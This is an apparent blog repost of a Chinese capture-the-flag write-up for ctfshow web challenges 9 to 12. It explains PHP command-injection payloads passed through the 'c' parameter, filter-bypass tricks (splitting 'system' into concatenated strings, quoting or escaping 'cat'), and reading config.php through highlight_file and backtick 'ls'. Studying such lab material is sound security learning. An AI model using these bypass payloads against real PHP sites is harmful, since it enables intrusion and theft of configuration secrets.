ctfshow之web(9、10、11、12)

目录

萌新web9

web10:

web11:

web12


萌新web9

ctfshow之web(9、10、11、12)_第1张图片

提示是在config.php文件里面

highlight_file() 函数对文件进行 PHP 语法高亮显示。语法通过使用 HTML 标签进行高亮。

提示:用于高亮的颜色可通过 php.ini 文件进行设置或者通过调用 ini_set() 函数进行设置。

注释:当使用该函数时,整个文件都将被显示,包括密码和其他敏感信息!

highlight_file('config.php');

ctfshow之web(9、10、11、12)_第2张图片

web10:

ctfshow之web(9、10、11、12)_第3张图片

乍一看和web9一样,但是

ctfshow之web(9、10、11、12)_第4张图片

查看目录: PHP提供了4种方法执行系统外部命令:exec()、passthru()、system()、shell_exec() ;

与exec的区别:passthru直接将结果输出,不返回结果,不用使用echo查看结果。

ctfshow之web(9、10、11、12)_第5张图片

没有发现内容,右击查看页面源码,发现flag

ctfshow之web(9、10、11、12)_第6张图片

除此之外,还可以用拼凑的方法(变量拼凑+函数动态执行),因为不能用system函数

?c=$a='syst';$b='em';$c=$a.$b;$c('cat config.php');

php开发的系统中,config.php常用于配置文件,如配置网站的数据库连接,网站的参数,全局变量等...

根据黑名单的不同,获取config.php的内容有以下几种方法:

1.命令执行函数

system()、passthru()、exec()、shell_exec()、popen()、proc_open()、pcntl_exec()

?c=passthru('cat config.php');

2.构造

?c=$a='sys';$b='tem';$d=$a.$b;$d('cat config.php');

3.绕过cat命令

?c=highlight_file('config.php');

?c=system('ca""t config.php');

?c=system("ca''t config.php");

?c=system('ca\t config.php');

web11:

ctfshow之web(9、10、11、12)_第7张图片

同样的源码,但是方法不对应就做不出来,这时候要对细节扣到位:单引号和双引号再php中大不相同,

PHP中的单引号和双引号在很多时候都是互通的,但是也存在区别:

其中的内容不会经过解释(\n不会输出为换行,而是直接输出),即内容会与输入的内容一致,

双引号中的内容将会被解释,即解析内容中的变量。

但是双引号中插入单引号,如果变量存在的话,还是可以执行的;如果所包含的变量需要解析时,要使用到双引号。但是再php最好还是使用单引号。

那么这就需要将web10中的单引号换成双引号,这时候引号里面的命令才能够被得到解释:

ctfshow之web(9、10、11、12)_第8张图片

web12

ctfshow之web(9、10、11、12)_第9张图片

过滤掉了cat和文件名

但是可以拼凑执行highlight函数或者绕过cat函数

ctfshow之web(9、10、11、12)_第10张图片

c=passthru("ca''t `ls`");

 cat `ls` 相当于将 ls出来的结果cat ,不用直接输入cat。

你可能感兴趣的:(ctf,php,开发语言)